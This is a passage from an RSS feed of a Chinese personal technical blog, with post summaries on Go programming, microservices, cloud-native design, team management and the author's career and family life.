      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/dff/dff.jpeg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;故有的思维会影响创新，在传统的软件设计考虑高可靠性，主要方法论是”防“，处处保护，让系统的每一处能长时间运行，不中断地提供服务。事实上电信级高可用性（HA）也只能宣称达到5个9，这意味着一年也就只有5分半钟的中断时间。但每增加一个9却实施成本非常地高，有些是建立在硬件可靠基础之上，并且不少是实验数据或理论上支持。传统的思维认识，在泥沙上建房子不可靠的。但软件架构设计，即完全不一样，在不可靠的基础设施上构建上可靠的系统，那才是真正NB的。&lt;/p&gt;
&lt;p&gt;依稀记得云计算刚出来时，大家都是持怀疑态度：性能下降的虚拟化技术、安全不可控的网络、变化复杂的资源管理，在其上如何构建可靠稳定的软件系统？事实上，Netflix完全基于AWS云基础设施，认为都有可能发生任何的故障（Failure），更何况资源也不掌握在自己手上。Netflix基于&lt;code&gt;Design for Failure&lt;/code&gt;理念却构建出用户无感知的高可用系统，支撑他的业务飞速发展。事实上，故障无所不在，尤其是在云计算环境中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资源层次：电能失效，整个数据中心不可用；部分计算失效，网络不通，存储IO高等&lt;/li&gt;
&lt;li&gt;应用层次：资源泄露；软件Bug；系统处理能力不足等&lt;/li&gt;
&lt;li&gt;数据层次：数据丢失；数据不一致等&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>35还能做技术吗</title>
      <link>http://lanlingzi.cn/post/thoughts/2017/0208_35_change/</link>
      <pubDate>Wed, 08 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2017/0208_35_change/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/change/change.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;最近我司心声社区到处充斥着在40岁左右惯例的帖子，之前觉得这些觉得离自己很远。不经意发现自己今年也35岁了，惯例这一天迟早会来临，只是早晚而已，按目前现状，再为公司奋斗也不会有太多年了，你想奋斗关键公司不让你啊。最近也陆续听到之前曾经共事的同事，或由于身体原因，被沟通退休或离职；或由于绩效平平，合同到期不再续签；或由于种种原因，被进入战备预备队前途不明。公司主营业务已遇到瓶颈，整个行业暮色深沉，新的领域就开拓不足，公司高层也不断地发文要打粮食，熵减等等。总之：“山雨欲来风满楼”。&lt;/p&gt;
&lt;p&gt;35岁应该是一个年富力强的年龄，不应该发出“今年35，还能做技术吗？”这样的话题，其中透露出一丝不自信。话说三十而立，但目前这个年龄段，我是上有老，下有小，身上还背着几百万的房贷，说没有压力不是可能的。作一名软件工程师，在国内来说其职业生涯是相当短的。而我一直从事软件相关的工作，目前虽是做软件架构设计，但还是喜欢写写代码，一直没有找到自己明确的发展方向，一方面有我自身的性格原因，一方面能力的确有些偏科。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>再说说微服务</title>
      <link>http://lanlingzi.cn/post/technical/2017/0207_msa_think/</link>
      <pubDate>Tue, 07 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0207_msa_think/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/msa/timg.jpeg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;why&#34;&gt;Why&lt;/h2&gt;
&lt;p&gt;我司从15年开始学习互联网的微服务构架，到今16年的全云化战略，微服务已作为架构体系的重要工作。但微服务看似美好，在IT界应用非常的成熟与成功，但这个本质没有革命性的技术架构，在我司却非常地难以落地。主要原因：传统的CT应用太过厚重，面临着软件交付模式完全不一样，历史包袱改造面临短期看不到收益的成本投入：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IT界：软件是自运维，借助于微服务构架，DevOps工程化，以及相对扁平的组织结构。软件向微服务转变相对阻力比较小，按康威定律，组织决定架构，微服务构架与扁平化、轻小的、精英化的组织是完全匹配的。在微服务构架实施上可以快速迭代演进，同时形成回路反馈，架构更符合良性的发展。同时像BAT等公司，业务上爆发式的增涨，也会加速微服务构架软变与满足。&lt;/li&gt;
&lt;li&gt;我司：软件非自运维，做的是产品卖给运营商，DevOps当前无法直接打通。微服务构架对交付与运维来说，没有直接带来价值，反而会带来更多的问题。运营商是不可能像IT界每日构建灰度升级的。当然运营商自己也在改变，但这个改变是基础设施平台化，上层业务应用会拉入IT厂商，反而像我司这类传统的设备供应商会被旁落。说起来，这是另一个更大沉重的话题，不就再展开了。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Go性能优化小结</title>
      <link>http://lanlingzi.cn/post/technical/2017/0203_go_optimize/</link>
      <pubDate>Fri, 03 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0203_go_optimize/</guid>
      <description>&lt;h2 id=&#34;内存优化&#34;&gt;内存优化&lt;/h2&gt;
&lt;h3 id=&#34;小对象合并成结构体一次分配减少内存分配次数&#34;&gt;小对象合并成结构体一次分配，减少内存分配次数&lt;/h3&gt;
&lt;p&gt;做过C/C++的同学可能知道，小对象在堆上频繁地申请释放，会造成内存碎片（有的叫空洞），导致分配大的对象时无法申请到连续的内存空间，一般建议是采用内存池。Go runtime底层也采用内存池，但每个span大小为4k，同时维护一个cache。cache有一个0到n的list数组，list数组的每个单元挂载的是一个链表，链表的每个节点就是一块可用的内存，同一链表中的所有节点内存块都是大小相等的；但是不同链表的内存大小是不等的，也就是说list数组的一个单元存储的是一类固定大小的内存块，不同单元里存储的内存块大小是不等的。这就说明cache缓存的是不同类大小的内存对象，当然想申请的内存大小最接近于哪类缓存内存块时，就分配哪类内存块。当cache不够再向spanalloc中分配。&lt;/p&gt;
&lt;p&gt;建议：小对象合并成结构体一次分配，示意如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;for k, v := range m {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    k, v := k, v // copy for capturing by the goroutine
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    go func() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        // using k &amp;amp; v
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;替换为：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;for k, v := range m {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    x := struct {k , v string} {k, v} // copy for capturing by the goroutine
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    go func() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        // using x.k &amp;amp; x.v
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>CloudNative初探</title>
      <link>http://lanlingzi.cn/post/technical/2017/0106_cloudnative/</link>
      <pubDate>Fri, 06 Jan 2017 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2017/0106_cloudnative/</guid>
      <description>&lt;p&gt;随着日益普及的云计算，越来越多的传统应用迁移到云上。尤其是视频巨头NetFlix从2009年开始，放弃构建自己的数据中心，把所有应用迁移到AWS。NetFlix认为云环境下，everything will be failure。它基于微服务架构，以及Design for failure理论，构建出一系统非常成功的云应用（微服务），支持它的业务飞速发展。NetFlix认为他们比Amazon自己更懂得AWS。同时业界也提出了CloudNative概念，Netflix的应用也认为目前最为成功的CloudNative应用（参考&lt;a href=&#34;http://www.slideshare.net/adrianco/netflix-what-changed-gartner-catalyst&#34;&gt;Cloud Native at Netflix&lt;/a&gt;）。那什么是CloudNative？&lt;/p&gt;
&lt;h2 id=&#34;概念&#34;&gt;概念&lt;/h2&gt;
&lt;p&gt;目前对CloudNative并没有明确的定义。15年，Google联合其他20家公司宣布成立了开源组织Cloud Native Computing Foundation（CNCF）。想通过开源的Kubernetes，在云计算领域占据主层地位。当然Kubernetes目前是一个以应用为中心容器编排，调度集群管理系统。它想做的是CloudNative Application的基石。从CNCF组织来看，CloudNative Application应该包含微服务，容器，CI/CD特征。&lt;/p&gt;
&lt;p&gt;早在2010年，WSO2的联合他始人Paul Fremantle在业界最早提出&lt;a href=&#34;http://wso2.com/library/articles/2010/05/blog-post-cloud-native/&#34;&gt;CloudNative，认为有如下几个关键特征&lt;/a&gt;：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Go依赖管理机制</title>
      <link>http://lanlingzi.cn/post/technical/2016/1120_go_deps_mgnt/</link>
      <pubDate>Sun, 20 Nov 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/1120_go_deps_mgnt/</guid>
      <description>&lt;p&gt;无论何种语言，依赖管理都是一个比较复杂的问题。而Go语言中的依赖管理机制目前还是让人比较失望的。在1.6版本之前，官方只有把依赖放在GOPATH中，并没有多版本管理机制；1.6版本（1.5版本是experimental feature）引入vendor机制，是包依赖管理对一次重要尝试。他在Go生态系统中依然是一个热门的争论话题，还没有想到完美的解决方案。&lt;/p&gt;
&lt;h2 id=&#34;看其它&#34;&gt;看其它&lt;/h2&gt;
&lt;p&gt;我们先来看看其它语言怎么解决，例举两种典型的管理方式：&lt;/p&gt;
&lt;h3 id=&#34;java&#34;&gt;Java&lt;/h3&gt;
&lt;p&gt;开发态，可以通过maven和gradle工具编辑依赖清单列表/脚本，指定依赖库的位置/版本等信息，这些可以帮助你在合适的时间将项目固化到一个可随时随地重复编译发布的状态。这些工具对我来说已经足够优雅有效。但maven中也有不同依赖库的内部依赖版本冲突等令人心烦的问题。尤其是在大型项目中的依赖传递问题，若团队成员对maven机制没有足够了解下，依赖scope的滥用，会让整个项目工程的依赖树变得特别的巨大而每次编译效率低下。运行态，目前Java也没有很好的依赖管理机制，虽有classloader可以做一定的隔离，但像OSGi那种严格的版本管理，会让使用者陷入多版本相互冲突的泥潭。&lt;/p&gt;
&lt;h3 id=&#34;nodejs&#34;&gt;Node.js&lt;/h3&gt;
&lt;p&gt;npm是Node.js的首选模块依赖管理工具。npm通过一个当前目录的 package.json 文件来描述模块的依赖，在这个文件里你可以定义你的应用名称( name )、应用描述( description )、关键字( keywords )、版本号( version )等。npm会下载当前项目依赖模块到你项目中的一个叫做node_modules的文件夹内。与maven/gradle不同的是，maven最终会分析依赖树，把相同的软件默认扁平化取最高版本。而npm支持nested dependency tree。nested dependency tree是每个模块依赖自己目录下node_modules中的模块，这样能避免了依赖冲突, 但耗费了更多的空间和时间。由于Javascript是源码发布，所以开发态与运行态的依赖都是基于npm，优先从自己的node_modules搜索依赖的模块。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>思维图形化</title>
      <link>http://lanlingzi.cn/post/thoughts/2016/1118_arch_drawing/</link>
      <pubDate>Fri, 18 Nov 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2016/1118_arch_drawing/</guid>
      <description>&lt;p&gt;曾经，我幼稚地认为：只有写好代码才能对产品最“大”的贡献。什么需求分析文档，架构设计文档，没有最终的代码落地，那就是一张张的空纸。那些职位高高在上的架构师们，就也是写写胶片，画画图，他们又不懂技术细节，天天开会讨论来，讨论去都是在空谈一切。没有我们这些屌丝写的代码，你让他们去实现，估计几年也搞不出来。我写代码的能力比他们顶上N个人；再看看人家老外，60/70岁了还在码代码。为什么我国到了30岁了，都不去写代码了，都去搞所谓的架构设计了。是他们写代码写不好才去干架构师活吗？&lt;/p&gt;
&lt;p&gt;经过这么多年在产品中挖坑、填坑，发现我们的产品是越来越复杂，但使用上也是越来越复杂，问题也是越来越难理清。我们的问题到底是出在什么地方：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Archlinux on WSL</title>
      <link>http://lanlingzi.cn/post/notes/2016/1030_archlinux_wsl/</link>
      <pubDate>Sun, 30 Oct 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2016/1030_archlinux_wsl/</guid>
      <description>&lt;p&gt;最近国庆某东活动，搞了一台HP的笔记本，系统是Win10。经过不断地折腾，在Win10上启用了Windows Subsystem for Linux（简称WSL），并在WSL上安装了Archlinux。加入Insider Preview会员计划，可以最快地获取Win10的最新内部版本，以便及时获取WSL的功能更新。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>团队管理</title>
      <link>http://lanlingzi.cn/post/thoughts/2016/1027_team_mgnt/</link>
      <pubDate>Thu, 27 Oct 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2016/1027_team_mgnt/</guid>
      <description>&lt;p&gt;最近由于Go语言项目，又带一个小团队。以前作为团队的Leader，总是遇到各种问题，尤其是如何管理好人很困惑。HW的组织相对是比较宽松的，内部号称是矩阵式，感觉一个团队的凝聚力个人还是来源于Leader的个人技术感召力。好吧，这个只是凭感觉的管理，这是远远不够的。&lt;/p&gt;
&lt;p&gt;作为一个技术团队的小Leader，整体来讲，它面临”业务“，”人“，”事“这三个方面的工作展开。这些是来源公司内牛人们的一些总结，我把他们纪录下来，是为了我更好地开展工作。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件变革下设计原则</title>
      <link>http://lanlingzi.cn/post/technical/2016/0910_soft_design/</link>
      <pubDate>Sat, 10 Sep 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0910_soft_design/</guid>
      <description>&lt;p&gt;传统大型软件系统 ，多以功能需求驱动设计与开发。在体系结构上是一个单体应用，变更修改往往是牵一而发动全身；在系统生态上是一个封闭系统，系统集成是大量定制开发。单体封闭的系统在交付中面临着越来越多的挑战，提升系统的竞争力首先是在软件架构上先行。软件系统发展也需像硬件一样不断地更新换代，软件架构设计需要输入新的思维。只有在思想上彻底地变革，才能摆脱原有的束缚与局限性。&lt;/p&gt;
&lt;h2 id=&#34;体验为王&#34;&gt;体验为王&lt;/h2&gt;
&lt;p&gt;软件原本是一种信息技术发展不断地服务于各行各业，软件在实现上又是偏向技术性。如何让普通用户能够较好地使用软件，而不需要这方面的专业背景，需要思考软件减少数字与体验之间鸿沟。互联网思维一直讲求如何让用户感知到你对他的价值，而且把这个价值争取做到极致，超出用户的预期，这个就叫体验。只有用户产生体验之后，才能形成口碑。简而言之，体验的思想，就是从用户的感受出发，把它做到极致。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Go map key类型分析</title>
      <link>http://lanlingzi.cn/post/technical/2016/0904_go_map/</link>
      <pubDate>Sun, 04 Sep 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0904_go_map/</guid>
      <description>&lt;p&gt;团队成员中大多是原来做Java，深受Java的影响，对于使用map问得最多的：map的key如何计算它的HashCode。下面试图通过讲解一些类型知识来解答。&lt;/p&gt;
&lt;h2 id=&#34;map的key类型&#34;&gt;map的key类型&lt;/h2&gt;
&lt;p&gt;map中的key可以是任何的类型，只要它的值能比较是否相等，Go的&lt;a href=&#34;http://golang.org/ref/spec#Comparison_operators&#34;&gt;语言规范&lt;/a&gt;已精确定义，Key的类型可以是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;布尔值&lt;/li&gt;
&lt;li&gt;数字&lt;/li&gt;
&lt;li&gt;字符串&lt;/li&gt;
&lt;li&gt;指针&lt;/li&gt;
&lt;li&gt;通道&lt;/li&gt;
&lt;li&gt;接口类型&lt;/li&gt;
&lt;li&gt;结构体&lt;/li&gt;
&lt;li&gt;只包含上述类型的数组。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但不能是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;slice&lt;/li&gt;
&lt;li&gt;map&lt;/li&gt;
&lt;li&gt;function&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Go VIM开发环境</title>
      <link>http://lanlingzi.cn/post/technical/2016/0903_vim/</link>
      <pubDate>Sat, 03 Sep 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0903_vim/</guid>
      <description>&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;个人最近一直使用VSCode+Go插件来开发Go代码，虽然也觉得VSCode是目前最好用的Go的开发工具，但还是对VIM有点不可割舍，对我来说原因有三：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VIM可以在控制台使用，适合远程登陆到Linux进行代码调试修改&lt;/li&gt;
&lt;li&gt;配合Tmux使用，开启多个Pane各司其职，不同Pane之间快速切换&lt;/li&gt;
&lt;li&gt;有Tagbar，团队内代码串讲，能先看出每个文件的大纲，代码跳转也非常方便&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;截图&#34;&gt;截图&lt;/h2&gt;
&lt;p&gt;第一张是自己截的，后两张是使用各插件官方的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/vim/vim-snapshot.png&#34; alt=&#34;snapshot&#34;&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>入园家长沟通会</title>
      <link>http://lanlingzi.cn/post/stories/2016/0829_kid_garden/</link>
      <pubDate>Mon, 29 Aug 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2016/0829_kid_garden/</guid>
      <description>&lt;p&gt;时间真是过得太快，转眼儿子要上幼儿园了。昨天是第一次参加儿子的入园家长沟通会。&lt;/p&gt;
&lt;h2 id=&#34;上幼儿园的意义&#34;&gt;上幼儿园的意义&lt;/h2&gt;
&lt;p&gt;上幼儿园是小孩步入社会第一步，是融入世界的起点。脱离原生家庭才能独立成长，幼儿园有孩子同龄的伙伴，可以让孩子收获不同的体验；幼儿园也有专业的老师，可以让孩子快乐自由的探索自己，认识朋友，体验世界。&lt;/p&gt;
&lt;p&gt;我平时的工作都比较忙，基本都是早七晚九，白天小孩要么是跟他奶奶，要么是跟他外婆。还好他妈妈是小学老师，晚上能投入一些时间与他相处。大家居住环境比较封闭，邻里来往不多, 小孩基本都是呆在家里的时间居多。他对家的依赖比较多。虽他平时也会经常去他妈妈工作的小学玩，但还是在大家的完全监控下。养孩子的最终目的是为了看着他们独立，幼儿园是教孩子独立的第一步，也是教家长放手的第一步。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Hexo NexT主题移植</title>
      <link>http://lanlingzi.cn/post/technical/2016/0828_hugo_next_theme/</link>
      <pubDate>Sun, 28 Aug 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0828_hugo_next_theme/</guid>
      <description>&lt;h2 id=&#34;概述&#34;&gt;概述&lt;/h2&gt;
&lt;p&gt;我应该是一个喜欢折腾的技术党。从采用Hugo建静态blog以来，算上今天移植的这个，一共使用了三个主题：&lt;/p&gt;
&lt;p&gt;第一个是修改自&lt;a href=&#34;http://blog.coderzh.com/&#34;&gt;Hueman&lt;/a&gt;，它是一个Wordpress主题。第二个是修改自&lt;a href=&#34;http://coderzh.github.io/hugo-pacman-theme/&#34;&gt;pacman&lt;/a&gt;，它是一个Hexo的主题。&lt;/p&gt;
&lt;p&gt;这二个主题都是&lt;a href=&#34;http://blog.coderzh.com/&#34;&gt;coderzh&lt;/a&gt;最早移植的，我只是在其上修改些布局，增加点功能，换个图片什么。这个过程让我弄清楚了Hugo中模板制作方法。&lt;/p&gt;
&lt;p&gt;第三个则是从零开始，移植Github上人气最高的Hexo主题：&lt;a href=&#34;https://github.com/iissnan/hexo-theme-next/&#34;&gt;NexT&lt;/a&gt;。正如你现在看到的，NexT是一款简洁又富有动感的主题，当前天我第一眼看到它时，就喜欢上它的风格。于是乎趁着周日，就开始NexT主题移植之旅。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Go测试</title>
      <link>http://lanlingzi.cn/post/technical/2016/0824_go_testing/</link>
      <pubDate>Wed, 24 Aug 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0824_go_testing/</guid>
      <description>&lt;p&gt;Go语言内置了测试框架，编写单元测试非常方便。&lt;/p&gt;
&lt;h2 id=&#34;命名约定&#34;&gt;命名约定&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;测试代码位于以&lt;code&gt;_test.go&lt;/code&gt;结尾的源文件中，一般与源码在同一个package中。&lt;/p&gt;
&lt;p&gt;位于同一个package中的主要原因是：测试可以访问package中不可导出的变量，方法等元素。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;测试源码可以修改package名，带上&lt;code&gt;_test&lt;/code&gt;结尾&lt;/p&gt;
&lt;p&gt;修改的package名称，不需要再单独新建立目录，也与源码在一个目录下。参考标准库的&lt;code&gt;bytes&lt;/code&gt;中的测试代码，方便使用被测试的元素，可以采用&lt;code&gt;.&lt;/code&gt;来import测试的package：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;package&lt;/span&gt; bytes_test
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;import&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    . &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;bytes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;io&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Goroutine Local Storage</title>
      <link>http://lanlingzi.cn/post/technical/2016/0813_go_gls/</link>
      <pubDate>Sat, 13 Aug 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0813_go_gls/</guid>
      <description>&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;最近在设计调用链与日志跟踪的API，发现相比于Java与C++，Go语言中没有原生的线程（协程）上下文，也不支持TLS（Thread Local Storage），更没有暴露API获取Goroutine的Id（后面简称&lt;code&gt;GoId&lt;/code&gt;）。这导致无法像Java一样，把一些信息放在TLS上，用于来简化上层应用的API使用：不需要在调用栈的函数中通过传递参数来传递调用链与日志跟踪的一些上下文信息。&lt;/p&gt;
&lt;p&gt;在Java与C++中，TLS是一种机制，指存储在线程环境内的一个结构，用来存放该线程内独享的数据。进程内的线程不能访问不属于自己的TLS，这就保证了TLS内的数据在线程内是全局共享的，而对于线程外却是不可见的。&lt;/p&gt;
&lt;p&gt;在Java中，JDK库提供&lt;code&gt;Thread.CurrentThread()&lt;/code&gt;来获取当前线程对象，提供&lt;code&gt;ThreadLocal&lt;/code&gt;来存储与获取线程局部变量。由于Java能通过&lt;code&gt;Thread.CurrentThread()&lt;/code&gt;获取当前线程，其实现的思路就很简单了，在ThreadLocal类中有一个Map，用于存储每一个线程的变量。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>理解Go Interface</title>
      <link>http://lanlingzi.cn/post/technical/2016/0803_go_interface/</link>
      <pubDate>Wed, 03 Aug 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0803_go_interface/</guid>
      <description>&lt;h2 id=&#34;概述&#34;&gt;概述&lt;/h2&gt;
&lt;p&gt;Go语言中的&lt;a href=&#34;http://golang.org/doc/effective_go.html#interfaces&#34;&gt;接口&lt;/a&gt;很特别，而且提供了难以置信的一系列灵活性和抽象性。接口是一个自定义类型，它是一组&lt;a href=&#34;http://golang.org/ref/spec#Method_sets&#34;&gt;方法的集合&lt;/a&gt;，要有方法为&lt;a href=&#34;http://golang.org/ref/spec#Interface_types&#34;&gt;接口类型&lt;/a&gt;就被认为是该接口。从定义上来看，接口有两个特点:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接口本质是一种自定义类型，因此不要将Go语言中的接口简单理解为C++/Java中的接口，后者仅用于声明方法签名。&lt;/li&gt;
&lt;li&gt;接口是一种特殊的自定义类型，其中没有数据成员，只有方法（也可以为空）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接口是完全抽象的，因此不能将其实例化。然而，可以创建一个其类型为接口的变量，它可以被赋值为任何满足该接口类型的实际类型的值。接口的重要特性是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;只要某个类型实现了接口所有的方法，那么我们就说该类型实现了此接口。该类型的值可以赋给该接口的值。&lt;/li&gt;
&lt;li&gt;作为1的推论，任何类型的值都可以赋值给空接口interface{}。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接口的特性是Go语言支持鸭子类型的基础，即“如果它走起来像鸭子，叫起来像鸭子（实现了接口要的方法），它就是一只鸭子（可以被赋值给接口的值）”。凭借接口机制和鸭子类型，Go语言提供了一种有利于类、继承、模板之外的更加灵活强大的选择。只要类型T的公开方法完全满足接口I的要求，就可以把类型T的对象用在需要接口I的地方。这种做法的学名叫做&amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Structural_type_system&#34;&gt;Structural Typing&lt;/a&gt;&amp;quot;。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>理解Go Context机制</title>
      <link>http://lanlingzi.cn/post/technical/2016/0802_go_context/</link>
      <pubDate>Tue, 02 Aug 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0802_go_context/</guid>
      <description>&lt;h2 id=&#34;什么是context&#34;&gt;什么是Context&lt;/h2&gt;
&lt;p&gt;最近在公司分析gRPC源码，proto文件生成的代码，接口函数第一个参数统一是&lt;code&gt;ctx context.Context&lt;/code&gt;接口，公司不少同事都不了解这样设计的出发点是什么，其实我也不了解其背后的原理。今天趁着&lt;code&gt;妮妲&lt;/code&gt;台风妹子正面登陆深圳，全市停工、停课、停业，在家休息找了一些资料研究把玩一把。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Context&lt;/code&gt;通常被译作&lt;code&gt;上下文&lt;/code&gt;，它是一个比较抽象的概念。在公司技术讨论时也经常会提到&lt;code&gt;上下文&lt;/code&gt;。一般理解为程序单元的一个运行状态、现场、快照，而翻译中&lt;code&gt;上下&lt;/code&gt;又很好地诠释了其本质，上下上下则是存在上下层的传递，&lt;code&gt;上&lt;/code&gt;会把内容传递给&lt;code&gt;下&lt;/code&gt;。在Go语言中，程序单元也就指的是Goroutine。&lt;/p&gt;
&lt;p&gt;每个Goroutine在执行之前，都要先知道程序当前的执行状态，通常将这些执行状态封装在一个&lt;code&gt;Context&lt;/code&gt;变量中，传递给要执行的Goroutine中。上下文则几乎已经成为传递与请求同生存周期变量的标准方法。在网络编程下，当接收到一个网络请求Request，处理Request时，我们可能需要开启不同的Goroutine来获取数据与逻辑处理，即一个请求Request，会在多个Goroutine中处理。而这些Goroutine可能需要共享Request的一些信息；同时当Request被取消或者超时的时候，所有从这个Request创建的所有Goroutine也应该被结束。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>为什么是Go</title>
      <link>http://lanlingzi.cn/post/technical/2016/0723_why_go/</link>
      <pubDate>Sat, 23 Jul 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0723_why_go/</guid>
      <description>&lt;p&gt;HW的执行力就是强，推广Go也是雷力风行，几乎目前是全员皆Go。作为一名其中的参与者，也知目前Go若大规模应用还是有很多的不成熟，风险也非常大。那为什么我司还是选择Go？也来谈谈我个人对为什么选择Go的认识，仅是个人拙见，不代表我司官方的观点。&lt;/p&gt;
